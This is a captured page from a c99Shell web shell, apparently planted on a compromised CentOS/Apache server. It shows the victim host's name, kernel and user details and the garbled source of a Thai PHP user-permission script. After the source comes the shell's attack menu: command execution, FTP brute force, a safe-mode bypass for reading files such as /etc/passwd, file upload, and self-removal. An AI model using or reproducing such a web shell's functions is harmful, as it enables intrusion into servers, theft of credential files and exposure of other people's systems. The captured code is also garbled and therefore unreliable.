!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/ums/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     umPermission.php (5.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once("pagebody.php");
pageHeader();
$pageTitle="กำหนดสิทธิ์การใช้รายคน";        // $UsID";
?>
<table width=100% class="pageTitleBgColor" align="center">
<tr><td align=center><? echo $pageTitle?></td></tr>
</table>
<!--your code here-------------------------------------------------------------------------->
<br>
<?
include_once("clsUmSystem.php");
include_once(
"clsUmGroup.php");
include_once(
"clsUmUserGroup.php");
include_once(
"clsUmMenu.php");
include_once(
"clsUmGPermission.php");
include_once(
"clsUmPermission.php");
include_once(
"clsUmUser.php");
$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
$oSt = new umsystem($oC);
$oGp = new umgroup($oC);
$oUg = new umusergroup($oC);
$oMnT = new ummenu($oC);
$oMn = new umMenu($oC);
$oGPm = new umgpermission($oC);
$oPm = new umpermission($oC);
$oUs = new umuser($oC);
//get groups are assigned to user
$oUg->RSgroupByUs($UsID);
if (
$oUg->GetRowSelected()>0){
    while (
$oUg->GetRecord()){
        
//get group info
        
$oGp->SearchByKey ($oUg->UgGpID);
        
$oGp->GetRecord();
        
//get app info
        
$oSt->SearchByKey($oGp->GpStID);
        
$oSt->GetRecord();
        
$StName $oSt->StNameT;        
        
        
//create table
        
echo "<form name=form".$oGp->GpID." method=post action=processUmPermission.php>\n";
        echo 
"<input type=hidden name=UsID value=$UsID>\n";
        echo 
"<input type=hidden name=GpID value=$oGp->GpID>\n";
        echo 
"<input type=hidden name=GpStID value=$oGp->GpStID>\n";
        
$oT = new clsTable();    
        
$oT->bgColor="#eeeeee";
        
$oT->headerBgColor="#dddddd";
        
$oT->align="center";
        
$oT->rowStart();
        
$oT->addCell("<b>ระบบ ".$oSt->StNameT,"<b>","",7);
        
$oT->rowEnd();
        
$oT->rowStart();
        
$oT->addCell("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>กลุ่มงาน ".$oGp->GpNameT,"<b>","",7);
        
$oT->rowEnd();
        
$oT->rowStart("",$oT->headerBgColor);
        
//$oT->addCell("");
        
$oT->addCell("<b>เมนู</b>","center");
        
$oT->addCell("<b>X</b>","center");
        
$oT->addCell("<b>C</b>","center");
        
$oT->addCell("<b>R</b>","center");
        
$oT->addCell("<b>U</b>","center");
        
$oT->addCell("<b>D</b>","center");
        
$oT->rowEnd();
        
$oMnT->RSMainMenuBySt($oGp->GpStID);
        while (
$oMnT->GetRecord()){
            
ShowmenuP($oGp->GpID$oMnT->MnID$UsID);        
        }
        
$oT->rowStart("","#dddddd");
        
//$oT->addCell("");
        
$oT->addCell("");
        
$oT->addCell("<input type=submit name=check value=บันทึก>",'','','5');
        
$oT->rowEnd();
        echo 
$oT->output();
        echo 
"<form>\n";
        echo 
"<p>&nbsp;</p>"
    } 
//end while
    //reset all permission
    
echo "<form name=form".$oGp->GpID." method=post action=processUmPermission.php>\n";
    echo 
"<input type=hidden name=UsID value=$UsID>\n";
    echo 
"<input type=hidden name=GpID value=$oGp->GpID>\n";
    echo 
"<input type=hidden name=GpStID value=$oGp->GpStID>\n";
    
$oT = new clsTable();    
    
$oT->bgColor="#eeeeee";
    
$oT->headerBgColor="#dddddd";
    
$oT->align="center";
    
$oT->rowStart();
    
$oT->addCell("<input type=submit name=resetall value=\"Reset All\">");
    
$oT->rowEnd();
    echo 
$oT->output();
}else{
    echo 
"<p align=center>";
    echo 
"Not assigned any groups to this user yet !!!";
    echo 
"</p>";
}

//////////////////////////////////////////
function ShowMenuP($GpID$MnID$UsID){
    global 
$oC;
    global 
$oT;
    global 
$Str;
    global 
$oGPm;
    global 
$oPm;
    global 
$rw;
    
    include_once(
"../class/clsDB.php");
    
$oMn  = new ummenu($oC);
    
$oMn->SearchByKey($MnID);
    
$oMn->GetRecord();
    if (
$oMn->MnLevel==0){
        
$bs="<b>";    
        
$be="</b>";    
    }
    
$lv =  $oMn->MnLevel+1;
    
    
$checkX"checked";
    
$checkC"checked";
    
$checkR"checked";
    
$checkU"checked";
    
$checkD"checked";
    
$oT->rowStart();
    
//$oT->addCell("<input type=\"hidden\" name=mnid[] value=$oMn->MnID>");
    
$oT->addCell("<input type=\"hidden\" name=mnid[] value=$oMn->MnID>" str_pad("",10*6*$oMn->MnLevel,  "&nbsp;"STR_PAD_RIGHT).$bs.$oMn->MnNameT.$be);
    
    
//find in UmPermission
    
$oPm->SearchByKey($UsID$oMn->MnID);
    if (
$oPm->GetRowSelected()>0){
        
//found in umPermission
        
$oPm->GetRecord();
        if (
$oPm->pmX==0$checkX="";
        if (
$oPm->pmC==0$checkC="";
        if (
$oPm->pmR==0$checkR="";
        if (
$oPm->pmU==0$checkU="";
        if (
$oPm->pmD==0$checkD="";
    }else{
        
$oGPm->SearchByKey($GpID$oMn->MnID);
        if (
$oGPm->GetRowSelected()>0){
            
//found in umGPermission
            
$oGPm->GetRecord();
            if (
$oGPm->gpX==0$checkX="";
            if (
$oGPm->gpC==0$checkC="";
            if (
$oGPm->gpR==0$checkR="";
            if (
$oGPm->gpU==0$checkU="";
            if (
$oGPm->gpD==0$checkD="";
        }
    }
    
$oT->addCell("<input type=checkbox name=\"_".$oMn->MnID."x\" $checkX>");
    
$oT->addCell("<input type=checkbox name=\"_".$oMn->MnID."c\" $checkC>");
    
$oT->addCell("<input type=checkbox name=\"_".$oMn->MnID."r\" $checkR>");
    
$oT->addCell("<input type=checkbox name=\"_".$oMn->MnID."u\" $checkU>");
    
$oT->addCell("<input type=checkbox name=\"_".$oMn->MnID."d\" $checkD>");
    
$oT->rowEnd();
    
//show column header
    
$rw++;
    if (
$rw 15 == 0){
        
$oT->rowStart("",$oT->headerBgColor);
        
//$oT->addCell("");
        
$oT->addCell("<b>เมนู</b>","center");
        
$oT->addCell("<b>X</b>","center");
        
$oT->addCell("<b>C</b>","center");
        
$oT->addCell("<b>R</b>","center");
        
$oT->addCell("<b>U</b>","center");
        
$oT->addCell("<b>D</b>","center");
        
$oT->rowEnd();
    }
    
//show column header
    
$oMn->RSmenuByParentMn($oMn->MnID);
    while (
$oMn->GetRecord()){
        
ShowMenuP($GpID$oMn->MnID$UsID);
    }
}
?>
<br>
<!--------------------------------------------------------------------->
<? 
pageFooter
(); 
?>
<!--------------------------------------------------------------------->
<!--put javascript here-->
<script language="javascript">
function doEditMenu(StID, MnID){
    window.location="umEditMenu.php?MnStID=" + StID + "&MnID=" + MnID;    
}
function doDelete(f, txt, StID, MnID){
    if (confirm('ต้องการลบเมนู  ' + txt +  ' ใช่หรือไม่') ) {
        window.location="processUmMenu.php?method=delete&MnStID=" + StID + "&MnID=" + MnID;
    }
}

</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0171 ]--